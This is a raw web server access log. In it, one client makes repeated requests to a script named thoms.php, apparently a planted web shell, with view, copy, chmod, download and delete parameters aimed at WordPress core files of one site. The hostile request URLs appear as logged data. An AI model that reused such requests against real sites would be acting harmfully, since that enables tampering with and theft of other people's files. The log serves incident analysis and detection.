45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12104 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12417 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13970 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?dl=error-protection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12746 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?del=https-migration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?del=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30260 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fatomlib.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fatomlib.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?dl=error_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59260 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?dl=feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fkses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fkses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwp-db.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fwp-db.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?del=rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:08 -0400] "GET /thoms.php?del=style-engine.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59196 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14672 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?del=block-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59230 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13579 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21102 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:09 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59244 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?del=embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?dl=icons.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?dl=rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?chmod=author-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:10 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59135 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?del=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13342 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20310 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?del=pomo&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=pomo&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19038 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=theme-compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=media.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33508 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18566 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13291 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?dl=style-engine.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?chmod=registration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61829 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?chmod=Text&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=Text&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?chmod=style-engine.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?chmod=block-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
